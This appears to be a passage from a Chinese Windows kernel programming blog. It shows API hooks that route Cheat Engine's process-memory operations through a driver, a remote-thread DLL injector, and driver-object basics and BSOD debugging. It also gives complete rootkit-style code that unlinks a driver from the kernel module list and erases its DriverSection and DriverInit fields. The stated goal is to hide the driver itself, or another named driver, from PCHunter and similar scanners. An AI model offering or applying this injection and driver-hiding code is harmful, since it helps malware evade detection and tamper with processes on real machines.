* CE 提供的句柄只在这里用于取得 PID。
* 该句柄不会被用于任何进程内存操作。
*/
pid = GetProcessId(process);

if (pid == 0)
{
return 0;
}

return pid;
}

static VOID RegisterModuleSnapshot(
HANDLE snapshot,
DWORD pid
)
{
ULONG index;
ULONG slot = ARRAYSIZE(g_snapshotRecords);

AcquireSRWLockExclusive(&g_snapshotLock);

for (index = 0;
index < ARRAYSIZE(g_snapshotRecords);
++index)
{
if (g_snapshotRecords[index].Snapshot == snapshot ||
g_snapshotRecords[index].Snapshot == NULL)
{
slot = index;
break;
}
}

if (slot == ARRAYSIZE(g_snapshotRecords))
{
slot =
g_nextSnapshotSlot++ %
ARRAYSIZE(g_snapshotRecords);
}

g_snapshotRecords[slot].Snapshot = snapshot;
g_snapshotRecords[slot].ProcessId = pid;

ReleaseSRWLockExclusive(&g_snapshotLock);
}

static BOOL FindModuleSnapshot(
HANDLE snapshot,
PDWORD pid
)
{
ULONG index;
BOOL found = FALSE;

if (!pid)
{
return FALSE;
}

AcquireSRWLockShared(&g_snapshotLock);

for (index = 0;
index < ARRAYSIZE(g_snapshotRecords);
++index)
{
if (g_snapshotRecords[index].Snapshot == snapshot)
{
*pid = g_snapshotRecords[index].ProcessId;
found = TRUE;
break;
}
}

ReleaseSRWLockShared(&g_snapshotLock);
return found;
}

static VOID FillModuleEntryW(
LPMODULEENTRY32W entry,
DWORD pid,
ULONGLONG baseAddress,
DWORD imageSize,
LPCSTR imageName
)
{
DWORD structureSize = entry->dwSize;

ZeroMemory(entry, sizeof(*entry));

entry->dwSize = structureSize;
entry->th32ModuleID = 1;
entry->th32ProcessID = pid;
entry->GlblcntUsage = 1;
entry->ProccntUsage = 1;
entry->modBaseAddr =
(BYTE*)(ULONG_PTR)baseAddress;
entry->modBaseSize = imageSize;
entry->hModule =
(HMODULE)(ULONG_PTR)baseAddress;

MultiByteToWideChar(
CP_ACP,
0,
imageName,
-1,
entry->szModule,
ARRAYSIZE(entry->szModule)
);

wcsncpy_s(
entry->szExePath,
ARRAYSIZE(entry->szExePath),
entry->szModule,
_TRUNCATE
);
}

static VOID FillModuleEntryA(
PMODULEENTRY32A_COMPAT entry,
DWORD pid,
ULONGLONG baseAddress,
DWORD imageSize,
LPCSTR imageName
)
{
DWORD structureSize = entry->dwSize;

ZeroMemory(entry, sizeof(*entry));

entry->dwSize = structureSize;
entry->th32ModuleID = 1;
entry->th32ProcessID = pid;
entry->GlblcntUsage = 1;
entry->ProccntUsage = 1;
entry->modBaseAddr =
(BYTE*)(ULONG_PTR)baseAddress;
entry->modBaseSize = imageSize;
entry->hModule =
(HMODULE)(ULONG_PTR)baseAddress;

strncpy_s(
entry->szModule,
ARRAYSIZE(entry->szModule),
imageName,
_TRUNCATE
);

strncpy_s(
entry->szExePath,
ARRAYSIZE(entry->szExePath),
imageName,
_TRUNCATE
);
}

BOOL WINAPI MyReadProcessMemory(
HANDLE process,
LPCVOID baseAddress,
LPVOID buffer,
SIZE_T size,
SIZE_T* bytesRead
)
{
DWORD pid = TrustedProcessId(process);

if (bytesRead)
{
*bytesRead = 0;
}

if (pid == 0)
{
return FALSE;
}

if (!DriverReadMemory(
pid,
(ULONGLONG)(ULONG_PTR)baseAddress,
buffer,
size))
{
return FALSE;
}

if (bytesRead)
{
*bytesRead = size;
}

return TRUE;
}

BOOL WINAPI MyWriteProcessMemory(
HANDLE process,
LPVOID baseAddress,
LPCVOID buffer,
SIZE_T size,
SIZE_T* bytesWritten
)
{
DWORD pid = TrustedProcessId(process);

if (bytesWritten)
{
*bytesWritten = 0;
}

if (pid == 0)
{
return FALSE;
}

if (!DriverWriteMemory(
pid,
(ULONGLONG)(ULONG_PTR)baseAddress,
buffer,
size))
{
return FALSE;
}

if (bytesWritten)
{
*bytesWritten = size;
}

return TRUE;
}

LPVOID WINAPI MyVirtualAllocEx(
HANDLE process,
LPVOID address,
SIZE_T size,
DWORD allocationType,
DWORD protect
)
{
DWORD pid = TrustedProcessId(process);
ULONGLONG resultAddress =
(ULONGLONG)(ULONG_PTR)address;
SIZE_T resultSize = size;

if (pid == 0 || size == 0)
{
if (size == 0)
{
SetLastError(ERROR_INVALID_PARAMETER);
}

return NULL;
}

if (!DriverAllocateVirtualMemory(
pid,
&resultAddress,
&resultSize,
allocationType,
protect))
{
return NULL;
}

return (LPVOID)(ULONG_PTR)resultAddress;
}

BOOL WINAPI MyVirtualFreeEx(
HANDLE process,
LPVOID address,
SIZE_T size,
DWORD freeType
)
{
DWORD pid = TrustedProcessId(process);

if (pid == 0)
{
return FALSE;
}

return DriverFreeVirtualMemory(
pid,
(ULONGLONG)(ULONG_PTR)address,
size,
freeType
);
}

BOOL WINAPI MyVirtualProtectEx(
HANDLE process,
LPVOID address,
SIZE_T size,
DWORD newProtect,
PDWORD oldProtect
)
{
DWORD pid = TrustedProcessId(process);

if (oldProtect)
{
*oldProtect = 0;
}

if (pid == 0 ||
address == NULL ||
size == 0 ||
oldProtect == NULL)
{
if (pid != 0)
{
SetLastError(ERROR_INVALID_PARAMETER);
}

return FALSE;
}

return DriverProtectVirtualMemory(
pid,
(ULONGLONG)(ULONG_PTR)address,
size,
newProtect,
oldProtect
);
}

SIZE_T WINAPI MyVirtualQueryEx(
HANDLE process,
LPCVOID address,
PMEMORY_BASIC_INFORMATION information,
SIZE_T informationLength
)
{
DWORD pid = TrustedProcessId(process);

if (pid == 0)
{
return 0;
}

if (!information ||
informationLength < sizeof(MEMORY_BASIC_INFORMATION))
{
SetLastError(ERROR_INVALID_PARAMETER);
return 0;
}

if (!DriverQueryVirtualMemory(
pid,
(ULONGLONG)(ULONG_PTR)address,
information))
{
return 0;
}

return sizeof(MEMORY_BASIC_INFORMATION);
}

HANDLE WINAPI MyCreateToolhelp32Snapshot(
DWORD flags,
DWORD processId
)
{
BOOL moduleSnapshot =
(flags &
(TH32CS_SNAPMODULE |
TH32CS_SNAPMODULE32)) != 0;

if (!moduleSnapshot || processId == 0)
{
HANDLE snapshot;
DWORD error;

RemoveApiHook(&g_createSnapshotHook);

snapshot =
((CreateToolhelp32SnapshotP)
(ULONG_PTR)g_createSnapshotHook.Address)(
flags,
processId
);

error = GetLastError();

InstallApiHook(&g_createSnapshotHook);

SetLastError(error);
return snapshot;
}

HANDLE snapshot =
CreateEventW(NULL, TRUE, FALSE, NULL);

if (!snapshot)
{
return INVALID_HANDLE_VALUE;
}

RegisterModuleSnapshot(snapshot, processId);

SetLastError(ERROR_SUCCESS);
return snapshot;
}

BOOL WINAPI MyModule32FirstW(
HANDLE snapshot,
LPMODULEENTRY32W entry
)
{
DWORD pid = 0;
ULONGLONG baseAddress = 0;
DWORD imageSize = 0;
CHAR imageName[16] = { 0 };

if (!entry ||
entry->dwSize < sizeof(MODULEENTRY32W) ||
!FindModuleSnapshot(snapshot, &pid))
{
BOOL result;
DWORD error;

RemoveApiHook(&g_moduleFirstWHook);

result =
((Module32FirstWP)
(ULONG_PTR)g_moduleFirstWHook.Address)(
snapshot,
entry
);

error = GetLastError();

InstallApiHook(&g_moduleFirstWHook);

SetLastError(error);
return result;
}

if (!DriverGetProcessImage(
pid,
&baseAddress,
&imageSize,
imageName,
sizeof(imageName)))
{
return FALSE;
}

FillModuleEntryW(
entry,
pid,
baseAddress,
imageSize,
imageName
);

SetLastError(ERROR_SUCCESS);
return TRUE;
}

BOOL WINAPI MyModule32FirstA(
HANDLE snapshot,
PMODULEENTRY32A_COMPAT entry
)
{
DWORD pid = 0;
ULONGLONG baseAddress = 0;
DWORD imageSize = 0;
CHAR imageName[16] = { 0 };

if (!entry ||
entry->dwSize < sizeof(MODULEENTRY32A_COMPAT) ||
!FindModuleSnapshot(snapshot, &pid))
{
BOOL result;
DWORD error;

RemoveApiHook(&g_moduleFirstAHook);

result =
((Module32FirstAP)
(ULONG_PTR)g_moduleFirstAHook.Address)(
snapshot,
entry
);

error = GetLastError();

InstallApiHook(&g_moduleFirstAHook);

SetLastError(error);
return result;
}

if (!DriverGetProcessImage(
pid,
&baseAddress,
&imageSize,
imageName,
sizeof(imageName)))
{
return FALSE;
}

FillModuleEntryA(
entry,
pid,
baseAddress,
imageSize,
imageName
);

SetLastError(ERROR_SUCCESS);
return TRUE;
}

BOOL InitHook()
{
HMODULE kernel32 =
GetModuleHandleA("kernel32.dll");

if (!kernel32)
{
return FALSE;
}

if (!InitializeApiHook(
&g_readHook,
kernel32,
"ReadProcessMemory",
(PVOID)&MyReadProcessMemory) ||
!InitializeApiHook(
&g_writeHook,
kernel32,
"WriteProcessMemory",
(PVOID)&MyWriteProcessMemory) ||
!InitializeApiHook(
&g_createSnapshotHook,
kernel32,
"CreateToolhelp32Snapshot",
(PVOID)&MyCreateToolhelp32Snapshot) ||
!InitializeApiHook(
&g_moduleFirstWHook,
kernel32,
"Module32FirstW",
(PVOID)&MyModule32FirstW) ||
!InitializeApiHook(
&g_moduleFirstAHook,
kernel32,
"Module32First",
(PVOID)&MyModule32FirstA) ||
!InitializeApiHook(
&g_virtualAllocExHook,
kernel32,
"VirtualAllocEx",
(PVOID)&MyVirtualAllocEx) ||
!InitializeApiHook(
&g_virtualFreeExHook,
kernel32,
"VirtualFreeEx",
(PVOID)&MyVirtualFreeEx) ||
!InitializeApiHook(
&g_virtualProtectExHook,
kernel32,
"VirtualProtectEx",
(PVOID)&MyVirtualProtectEx) ||
!InitializeApiHook(
&g_virtualQueryExHook,
kernel32,
"VirtualQueryEx",
(PVOID)&MyVirtualQueryEx))
{
return FALSE;
}

return TRUE;
}

BOOL Hook()
{
return InstallApiHook(&g_readHook);
}

BOOL UnHook()
{
return RemoveApiHook(&g_readHook);
}

BOOL HookWriteProcessMemory()
{
return InstallApiHook(&g_writeHook);
}

BOOL UnHookWriteProcessMemory()
{
return RemoveApiHook(&g_writeHook);
}

BOOL HookModuleEnumeration()
{
if (!InstallApiHook(&g_createSnapshotHook))
{
return FALSE;
}

if (!InstallApiHook(&g_moduleFirstWHook))
{
RemoveApiHook(&g_createSnapshotHook);
return FALSE;
}

if (!InstallApiHook(&g_moduleFirstAHook))
{
RemoveApiHook(&g_moduleFirstWHook);
RemoveApiHook(&g_createSnapshotHook);
return FALSE;
}

return TRUE;
}

BOOL UnHookModuleEnumeration()
{
BOOL result = TRUE;

result =
RemoveApiHook(&g_moduleFirstAHook) &&
result;

result =
RemoveApiHook(&g_moduleFirstWHook) &&
result;

result =
RemoveApiHook(&g_createSnapshotHook) &&
result;

return result;
}

BOOL HookVirtualMemory()
{
if (!InstallApiHook(&g_virtualQueryExHook))
{
return FALSE;
}

if (!InstallApiHook(&g_virtualAllocExHook))
{
RemoveApiHook(&g_virtualQueryExHook);
return FALSE;
}

if (!InstallApiHook(&g_virtualProtectExHook))
{
RemoveApiHook(&g_virtualAllocExHook);
RemoveApiHook(&g_virtualQueryExHook);
return FALSE;
}

if (!InstallApiHook(&g_virtualFreeExHook))
{
RemoveApiHook(&g_virtualProtectExHook);
RemoveApiHook(&g_virtualAllocExHook);
RemoveApiHook(&g_virtualQueryExHook);
return FALSE;
}

return TRUE;
}

BOOL UnHookVirtualMemory()
{
BOOL result = TRUE;

result =
RemoveApiHook(&g_virtualFreeExHook) &&
result;

result =
RemoveApiHook(&g_virtualProtectExHook) &&
result;

result =
RemoveApiHook(&g_virtualAllocExHook) &&
result;

result =
RemoveApiHook(&g_virtualQueryExHook) &&
result;

return result;
}

注入模块

直接用的以前的远程线程注入姿势;

main.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#include<Windows.h>
#include<iostream>
using namespace std;

int main()
{
int pid;
printf("PID: ");
scanf_s("%d", &pid);
//打开进程
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (hProcess == NULL)
{
cout << "open fail !! " << endl;
system("pause");
return 0;
}

char buffer[] = "C:\\Users\\lenovo\\Desktop\\inject\\dlltest.dll";
SIZE_T bufferSize = strlen(buffer) + 1;
SIZE_T realWrite = 0;

//申请进程内存空间
char* str = (char*)VirtualAllocEx(hProcess, 0, bufferSize, MEM_COMMIT, PAGE_READWRITE);
if (str == NULL)
{
cout << "malloc err !!" << endl;
system("pause");

return 0;
}
//将字符串写入该空间
WriteProcessMemory(hProcess, str, buffer, bufferSize, &realWrite);

//创建进程中的线程
HANDLE hThread = CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)LoadLibraryA, str, 0, 0);
if (hThread == NULL)
{
cout << "thread create err !!" << endl;
system("pause");

return 0;
}

//一直等待线程结束
WaitForSingleObject(hThread, -1);

//扫尾
VirtualFreeEx(hProcess, str, 0, MEM_RELEASE);
CloseHandle(hThread);
CloseHandle(hProcess);
cout << "Done." << endl;
system("pause");

return 0;
}
阅读全文
驱动设备引入-Windows驱动编程二

编写驱动的前缀步骤(环境,配置)已在一给出;

这里再进一步给出详细需要配置的内容:

  1. 将配置里的选项设置为所有平台,所有配置;
  2. 将CPP里面的常规里的将警告视为错误关闭;
  3. 将链接器里面的常规里的警告视为错误关闭;
  4. 在driverSetting里的常规里面更改驱动平台(Win7);
  5. 在工具->代码片段管理器可以导入自己的代码片段展开(每次都写驱动框架麻烦)
    先找到一个代码片文件,复制一份自己改,改展开语句以及展开内容即可,然后导入;
    这一步可有可无,主要是图方便;

其次,我这里是在虚拟机win10里进行编写驱动,然后放到win7里调试,如果要让物理机的windbg找到源码,需要将win10里的工程文件拷贝一份出来,并给windbg路径!

如果不知道怎么给windbg路径,其实windbg是会自动寻找路径的,而自动寻找路径,这个路径是被写入到了debug版本的生成的驱动文件里面的,可以用十六进制编辑器打开找找(定位到pdb文件),然后在物理机的对应路径上放置相同文件即可,此时windbg会自动寻找源码(有符号的调试状态);

将windbg里面的view -> Options -> Evaluate on hover 勾选上,可以直接鼠标放在变量上查看源码变量的内容;

一个驱动的框架写法:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include<ntifs.h>

//卸载函数
VOID DriverUnload(PDRIVER_OBJECT pDriver)
{
}

//驱动入口 main
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriver, PUNICODE_STRING pReg)
{
pDriver->DriverUnload = DriverUnload;
return STATUS_SUCCESS;
}

认识驱动对象

在我们编写驱动的时候,主函数传入了一个驱动对象(pDriver);

它的结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Local var @ 0x937e5bcc Type _DRIVER_OBJECT*
0x8678ef38
+0x000 Type : 0n4
+0x002 Size : 0n168
+0x004 DeviceObject : (null) //管理的设备对象,是一个单向链表
+0x008 Flags : 0x13
+0x00c DriverStart : 0xa9097000 Void
+0x010 DriverSize : 0x6000
+0x014 DriverSection : 0x886c6348 Void //驱动的信息,以及所有驱动信息的循环链
+0x018 DriverExtension : 0x8678efe0 _DRIVER_EXTENSION
+0x01c DriverName : _UNICODE_STRING "\Driver\MyDriver2"
+0x024 HardwareDatabase : 0x8436e270 _UNICODE_STRING "\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM"
+0x028 FastIoDispatch : (null)
+0x02c DriverInit : 0xa909b000 long MyDriver2!GsDriverEntry+0
+0x030 DriverStartIo : (null)
+0x034 DriverUnload : 0xa9098020 void MyDriver2!DriverUnload+0
+0x038 MajorFunction : [28] 0x840b3cfc long nt!IopInvalidDeviceRequest+0 //驱动回调

在运行起来以后,驱动对象的属性被赋予了很多的值;

其中,驱动的生命周期可以被分成:注册->启动->结束->销毁;

注册实际上就是把这个驱动写入一些信息到注册表,其中有它的启动方式(自启动还是手动启动),类型(驱动,服务,dll);

以及被启动的次数等等信息;

启动就是把这个sys文件放到内存里作为进程跑起来;

结束就是销毁进程;

销毁就是删除注册表项;

这个 _DRIVER_EXTENSION 属性,里面存放了这个驱动的服务号名称;

通过windows命令 net stop / net start name 也可以进行对驱动的启动和结束;

驱动其实类似于dll,他把它的模块放到了高地址,也就是共享内核内存中;

对于第二个参数类型,PUNICODE_STRING,它是一个结构体,用于内核中的字符串处理,使用%wZ格式化打印;

在内核中处理字符串一般是unicode宽字节,所有在和三环进行数据交换的时候需要对字符串进行转换;

返回值类型NTSTATUS是一个四字节int,它是返回码,小于0是失败,大于等于0是成功,比如c0005;

在写内核调用函数的时候,必须判断返回状态,使用函数NT_SUCCESS,其本质是判断状态大于等于0;

字符串操作API

引入头文件: <ntstrsafe.h>

函数 作用 参数 返回值
RtlInitUnicodeString(a1,a2); 初始化PUNICODE_STRING类型字符串 a1是PUNICODE_STRING类型字符串地址,a2是一个宽字节WCHAR类型的指针 NT状态码
RtlAnsiStringToUnicodeString(a1,a2,TRUE) 将窄字节字符串转换为宽字节 a1是宽字节地址,a2是窄字节地址 NT状态码
RtlUnicodeStringToAnsiString(a1,a2,TRUE) 和上面一个是反着的 和上面一个是反着的 NT状态码
RtlStringCbPrintfA(a1,a2,a3,…) 格式化ascii字符串,并保存,如果要格式化宽字节字符串,则后缀A改为W即可 a1是保存的地址,a2是字符串长度,a3是格式化字符串,后面跟参数 NT状态码
RtlCompareUnicodeString(a1,a2,a3) 比较unicode字符串相同与否 a1,a2都是待比较数据,a3设置为true就忽略大小写,false就完全匹配 NT状态码

其他的一些内核API操作

函数 作用 参数 返回值
ExAllocatePool(a1,a2) 申请内存malloc平替 a1是类型,只要记两个:NonPagedPool(有执行属性),PagedPool(无执行属性),a2是大小 申请空间指针
ExFreePoll(a1) 释放内存 a1为释放地址 空
PsCreateSystemThread(a1,a2) 内核创建线程 和createthread填法是一样的,除了第一个参数变为输出的句柄值,第二个为 THREAD_ALL_ACCESS NT状态码

驱动中的链表

有个类型为 LIST_ENTRY,它的结构中只有一个next指针,没有数据域;

使用的时候自己构造节点结构体,然后将其作为属性放入使用;

内核中常用双向循环链表;

一个void返回函数: InitializeListHead(a1),初始化链表结构,其本质是让他自己指向自己;

创建节点也需要初始化一下,配合它自带的API使用;

1
2
3
4
5
6
7
8
//一些内核中的操作链表的API
//头插尾插
InsertHeadList(a1,node);
InsertTailList(a1,node);
//移除节点
RemoveEntryList(node);
//移除该节点的下一个节点
RemoveHeadList(node);

一般在初始化的时候,反汇编会生成一个比较类似特征的东西:

1
2
3
lea eax, [ebp...]  //把地址拿给eax
mov [ebp...], eax //前驱后驱都指向自己
mov [ebp...], eax

以及在进行插入操作的时候,也会有如上的内容;

驱动隐藏

在驱动扫描/遍历里,基本上都是对目录下的驱动名进行遍历,以及获取驱动对象里面的信息进行确认;

在驱动对象里有一个属性叫做 DriverSection,里面存放了该驱动的一些信息,是一个链表结构的节点;

其结构内容如下:

它的结构体也是和三环的 LDR DATA 很像,前面的属性几乎是套用的,可能后面的属性对应不上;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
1: kd> dt _LDR_DATA_TABLE_ENTRY 0x87d0bc98
ntdll!_LDR_DATA_TABLE_ENTRY
+0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x83f61730 - 0x87d466e8 ]
+0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0xffffffff - 0xffffffff ]
+0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x87d0bca4 - 0x0 ]
+0x018 DllBase : 0x9b7c6000 Void
+0x01c EntryPoint : 0x9b7ca000 Void
+0x020 SizeOfImage : 0x6000
+0x024 FullDllName : _UNICODE_STRING "\??\C:\Users\SecondBC\Desktop\MyDriver2.sys"
+0x02c BaseDllName : _UNICODE_STRING "MyDriver2.sys"
+0x034 Flags : 0x49104000
+0x038 LoadCount : 1
+0x03a TlsIndex : 0
+0x03c HashLinks : _LIST_ENTRY [ 0x0 - 0x7f8f ]
+0x03c SectionPointer : (null)
+0x040 CheckSum : 0x7f8f
+0x044 TimeDateStamp : 0x46109f52
+0x044 LoadedImports : 0x46109f52 Void
+0x048 EntryPointActivationContext : (null)
+0x04c PatchInformation : 0xfffffffe Void
+0x050 ForwarderLinks : _LIST_ENTRY [ 0x0 - 0x6000 ]
+0x058 ServiceTagLinks : _LIST_ENTRY [ 0x68175a79 - 0x79004d ]
+0x060 StaticLinks : _LIST_ENTRY [ 0x720044 - 0x760069 ]
+0x068 ContextInformation : 0x00720065 Void
+0x06c OriginalBase : 0x2e0032
+0x070 LoadTime : _LARGE_INTEGER 0x00000073`00790073

这里面有驱动名称,驱动入口点,PE文件镜像地址,以及第一个属性:链表节点的前驱后驱,它是一个循环双向链表;

这个链表串联了所有的驱动的DriverSection;

驱动遍历

所以可以通过这个链表来进行对所有驱动的遍历;

我们可以写一个遍历的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include<ntifs.h>

//DriverSection结构
typedef struct _DriverSection {
LIST_ENTRY Link; // 指向下一个 _LDR_DATA_TABLE_ENTRY 的 InLoadOrderLinks
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase; // 模块基地址
PVOID EntryPoint; // 入口点
ULONG SizeOfImage; // 驱动大小
UNICODE_STRING FullsysName; // 模块全路径
UNICODE_STRING sysName; // 模块名
}DriverSection, *PDriverSection;


//卸载函数
VOID DriverUnload(PDRIVER_OBJECT pDriver)
{

}

//驱动入口 main
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriver, PUNICODE_STRING pReg)
{
DbgBreakPoint();

PDriverSection myDriverSection = pDriver->DriverSection;
int num = 0;

//Link和整个结构体共享地址
//同时,myDriverSection->Link.Flink是最后一个节点,也就是null节点,所以还要指向下一个回到第一个节点
for (PDriverSection p = (myDriverSection->Link.Flink)->Flink; p != myDriverSection->Link.Flink; p = p->Link.Flink)
{
DbgPrintEx(77, 0, "[%d] DriverName: %wZ\n", ++num, &p->sysName);
}

pDriver->DriverUnload = DriverUnload;
return STATUS_SUCCESS;
}

此时我们可以在这个遍历的过程中,去和对应驱动名进行匹配,当匹配到了以后,使用API函数进行节点摘除,此时用这种方式遍历的话,就扫描不到这个被摘除的节点了;

隐藏自身

但很可惜,PChunter的扫描方式不是这样,就算从链表中摘除以后,它还是能够检测到我们的驱动!

实际上对于PChunter而言,要绕过它的检测只需要把驱动对象中的DriverSection字段和DriverInit字段给抹除或者更改掉即可;

尝试隐藏自身驱动:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#include<ntifs.h>

//DriverSection结构
typedef struct _DriverSection {
LIST_ENTRY Link; // 指向下一个 _LDR_DATA_TABLE_ENTRY 的 InLoadOrderLinks
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase; // 模块基地址
PVOID EntryPoint; // 入口点
ULONG SizeOfImage; // 驱动大小
UNICODE_STRING FullsysName; // 模块全路径
UNICODE_STRING sysName; // 模块名
}DriverSection, *PDriverSection;


void DriverHide(PDRIVER_OBJECT pDriver)
{
DbgPrintEx(77, 0, "Now in thread\n");
LARGE_INTEGER count = {0};
//-10000是单位,20000是20000ms
count.QuadPart = -10000 * 20000;
//延迟函数
KeDelayExecutionThread(KernelMode, FALSE, &count);
PDriverSection mySection = pDriver->DriverSection;


DbgPrintEx(77, 0, "HideDriver: %wZ\n", &mySection->sysName);


//断链
RemoveEntryList(&mySection->Link);
//抹除
pDriver->DriverInit = NULL;
pDriver->DriverSection = (mySection->Link.Flink)->Flink;
//减少引用次数
ObDereferenceObject(pDriver);

return;
}

//卸载函数
VOID DriverUnload(PDRIVER_OBJECT pDriver)
{

}

//驱动入口 main
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriver, PUNICODE_STRING pReg)
{
DbgBreakPoint();

//不能在驱动入口进行抹除
//驱动入口结束会用到驱动对象里面的一些属性
//所以要创建线程延迟抹除!

HANDLE thread = 0;
if (PsCreateSystemThread(&thread, THREAD_ALL_ACCESS, 0, 0, 0, DriverHide, pDriver) >= 0)
{
//关闭线程句柄
NtClose(thread);
}

pDriver->DriverUnload = DriverUnload;
return STATUS_SUCCESS;
}

至此,PChunter就找不到我们的驱动了,同时使用加载该驱动的KmdManager也找不到驱动进行卸载了;

那么如果要对指定的驱动进行隐藏呢?

指定名称隐藏

首先我们能够获取对应驱动的DriverSection,但是拿不到对应驱动的驱动对象;

WIN api实际上提供了一个用名称获取驱动对象的函数:

1
2
3
4
5
6
7
8
9
10
11
NTKERNELAPI NTSTATUS ObReferenceObjectByName(  
IN PUNICODE_STRING ObjectName, //查找名称
IN ULONG Attributes, //属性 FILE_ALL_ACCESS
IN PACCESS_STATE PassedAccessState OPTIONAL, // NULL
IN ACCESS_MASK DesiredAccess OPTIONAL, // NULL
IN POBJECT_TYPE ObjectType, //类型,填写下面extern的类型即可
IN KPROCESSOR_MODE AccessMode, //KernelMode
IN OUT PVOID ParseContext OPTIONAL, //NULL
OUT PVOID *Object //输出参数,也就是对应的驱动对象
);
extern POBJECT_TYPE * IoDriverObjectType;

由于它没有文档化,所以用的时候要自己定义一遍;

那么就可以用如下代码进行对PChunter驱动的隐藏,这样有些东西扫描PChunter的时候就找不到了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#include<ntifs.h>

//DriverSection结构
typedef struct _DriverSection {
LIST_ENTRY Link; // 指向下一个 _LDR_DATA_TABLE_ENTRY 的 InLoadOrderLinks
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase; // 模块基地址
PVOID EntryPoint; // 入口点
ULONG SizeOfImage; // 驱动大小
UNICODE_STRING FullsysName; // 模块全路径
UNICODE_STRING sysName; // 模块名
}DriverSection, *PDriverSection;

NTKERNELAPI NTSTATUS ObReferenceObjectByName(
IN PUNICODE_STRING ObjectName, //查找名称
IN ULONG Attributes, //属性 FILE_ALL_ACCESS
IN PACCESS_STATE PassedAccessState OPTIONAL, // NULL
IN ACCESS_MASK DesiredAccess OPTIONAL, // NULL
IN POBJECT_TYPE ObjectType, //类型,填写下面extern的类型即可
IN KPROCESSOR_MODE AccessMode, //KernelMode
IN OUT PVOID ParseContext OPTIONAL, //NULL
OUT PVOID *Object //输出参数,也就是对应的驱动对象
);
extern POBJECT_TYPE *IoDriverObjectType;

void DriverHide(PDRIVER_OBJECT pDriver)
{
LARGE_INTEGER count = {0};
//-10000是单位,10000是10000ms
count.QuadPart = -10000 * 10000;
//延迟函数
KeDelayExecutionThread(KernelMode, FALSE, &count);
PDriverSection mySection = pDriver->DriverSection;

DbgPrintEx(77, 0, "HideDriver: %wZ\n", &mySection->sysName);

//断链
RemoveEntryList(&mySection->Link);
pDriver->DriverInit = NULL;
pDriver->DriverSection = (mySection->Link.Flink)->Flink;
//减少引用次数
ObDereferenceObject(pDriver);

return;
}

//卸载函数
VOID DriverUnload(PDRIVER_OBJECT pDriver)
{

}

//驱动入口 main
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriver, PUNICODE_STRING pReg)
{
pDriver->DriverUnload = DriverUnload;

//ObReferenceObjectByName给到的名称是目录下的,且没有后缀名
UNICODE_STRING objname = { 0 };
RtlInitUnicodeString(&objname, L"\\driver\\View++");

//找驱动对象
PDRIVER_OBJECT aimDriver = 0;
NTSTATUS status = ObReferenceObjectByName(&objname, FILE_ALL_ACCESS, NULL, NULL, *IoDriverObjectType, KernelMode, NULL, &aimDriver);
if (status< 0)
{
DbgPrintEx(77, 0, "name %wZ\n", &objname);
DbgPrintEx(77, 0, "find Name fail! status: %p\n",status);
return STATUS_SUCCESS;
}

//不能在驱动入口进行抹除
//驱动入口结束会用到驱动对象里面的一些属性
//所以要创建线程延迟抹除!
HANDLE thread = 0;
if (PsCreateSystemThread(&thread, THREAD_ALL_ACCESS, 0, 0, 0, DriverHide, aimDriver) >= 0)
{
//关闭线程句柄
NtClose(thread);
}

return STATUS_SUCCESS;
}

蓝屏调试

在编程过程中会遇到大量的蓝屏;

如何利用windbg高效调试蓝屏呢?

1
2
3
4
5
!analize -v //蓝屏后直接输,详细检测
k //查看栈
kv //详细栈
dds esp值 //查看栈树形排列后的值
.cxr 地址 //恢复上下文信息

蓝屏后一般会给5个值;

一个是bugcheck值,另外4个是参数,第一个参数一般都是发生错误的代码(c00005一类),第二个参数是死掉的地址,第三个参数是陷入框架地址(trap frame);

一般就先查看这些参数对应结构,显示他们的结构表,以及对应地址的内容进行检查;

之后查看栈结构;

在kv中也有可能发现其他的trap frame地址;

输入指令: .trap trapFrame地址

可以获取陷入框架时的上下文信息;

检查最后调用的函数,可以是死掉时候,也可以是三环调用的时候;

看一下这个函数的功能,看一下死掉的点,大概推测出传入的参数是出了什么问题;

并对比源码进行进一步测试;

IO通信

驱动设计而来的作用就是在硬件和软件之间架起一座桥梁,全称都是设备驱动程序;

它是用来管理设备的一个软件程序,方便操作系统和用户对设备的使用,就像是一个接口;

在r3,用户无法直接访问驱动,但是可以请求一个设备(资源)进行使用(使用设备提供的服务);

这样的关系就类似于一个exe进程管理了若干个窗口,另外的exe可以打开多个窗口进行信息处理一样:一个驱动管理多个设备,另外的exe可以打开多个设备进行享受服务资源;

类似的,窗口拥有回调函数,设备也拥有对应的回调函数;

